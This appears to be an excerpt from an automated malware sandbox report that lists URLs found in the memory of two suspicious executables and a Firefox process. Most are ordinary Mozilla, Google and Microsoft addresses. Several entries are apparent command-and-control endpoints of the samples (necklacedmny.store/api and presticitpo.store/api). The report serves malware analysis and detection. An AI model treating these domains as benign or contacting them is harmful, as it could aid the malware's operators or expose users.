Source: 3e1d30d118.exe, 0000000C.00000003.2874734726.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2873847206.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2875692021.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2879394897.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2876541093.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/D
Source: 3e1d30d118.exe, 0000000A.00000003.2706244384.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2705939782.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/S
Source: file.exe, file.exe, 00000000.00000003.1785316904.00000000015EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1877218261.00000000015ED000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1774587849.00000000015E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1775172981.00000000015E4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747334776.00000000015FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1774623147.00000000015EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1775205316.00000000015EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1785298949.00000000015E4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747654911.00000000015FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747049719.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 3e1d30d118.exe, 0000000A.00000003.2790263600.0000000000C92000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2680726899.0000000000C94000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2706156430.0000000000C91000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2614178964.00000000058DE000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2615075476.00000000058DE000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2705592376.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2705939782.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2617592144.00000000058E0000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2680588495.0000000000CA3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.1877218261.00000000015ED000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api7M
Source: 3e1d30d118.exe, 0000000C.00000003.2935381139.0000000000D43000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api_v.~
Source: file.exe, 00000000.00000003.1763850776.00000000015E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1774587849.00000000015E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1775172981.00000000015E4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1774623147.00000000015EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1775205316.00000000015EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1763881819.00000000015EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1763579937.00000000015E7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apichh
Source: 3e1d30d118.exe, 0000000C.00000003.2873733468.0000000005651000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apieta
Source: 3e1d30d118.exe, 0000000C.00000003.2873847206.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2874734726.0000000000D32000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apif~
Source: 3e1d30d118.exe, 0000000A.00000003.2790263600.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/k
Source: 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/api
Source: 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/apiH
Source: 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/apiK
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001B.00000002.2924713629.000002297C103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2907951633.000002297A97D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2791021566.000002297C133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://presticitpo.store:443/api
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001B.00000002.2899807746.000002296EB03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/shims/rambler-authenticator.js
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/shims/rambler-authenticator.jsabout-compat/aboutPage.js/shims/mochit
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.comhttps://addons.mozilla.orgcreateContentPrincipalFromOriginnetwork.pro
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001B.00000002.2965275696.000002298060C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelhttps://static.adsafeprotected.com/firefox-etp-j
Source: file.exe, 00000000.00000003.1714992313.0000000005E00000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2599576882.0000000005930000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2773738505.00000000056AE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001B.00000002.2899807746.000002296EB03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2960831661.0000022980165000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 3e1d30d118.exe, 0000000C.00000003.2839373883.000000000597B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 0000001B.00000002.2965275696.000002298061B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001B.00000002.2965275696.000002298061B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/website-translationresource://gre/modules/DownloadIntegration.sys.mjs
Source: 3e1d30d118.exe, 0000000C.00000003.2839373883.000000000597B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1714992313.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2599679651.0000000005927000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2599576882.000000000592E000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2773738505.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2773911978.00000000056A5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 3e1d30d118.exe, 0000000A.00000003.2599679651.0000000005902000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2773911978.0000000005680000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1714992313.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2599679651.0000000005927000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2599576882.000000000592E000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2773738505.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2773911978.00000000056A5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 3e1d30d118.exe, 0000000A.00000003.2599679651.0000000005902000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2773911978.0000000005680000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001B.00000002.2899807746.000002296EB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CCE5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.comhttps://monitor.firefox.comupgradeTabsProgressListener_migrateXULStore
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: file.exe, 00000000.00000003.1762031949.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2631561373.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2905467211.000002297A3AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2950843311.000002297EB70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788251826.000002297E85D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788613349.000002297E87B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.0000022980488000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787902142.000002297E83E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787522205.000002297E820000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1762031949.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2631561373.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2905467211.000002297A3AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2950843311.000002297EB70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788251826.000002297E85D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788613349.000002297E87B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.0000022980488000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787902142.000002297E83E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787522205.000002297E820000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/searchdefaultPreventedByContentget
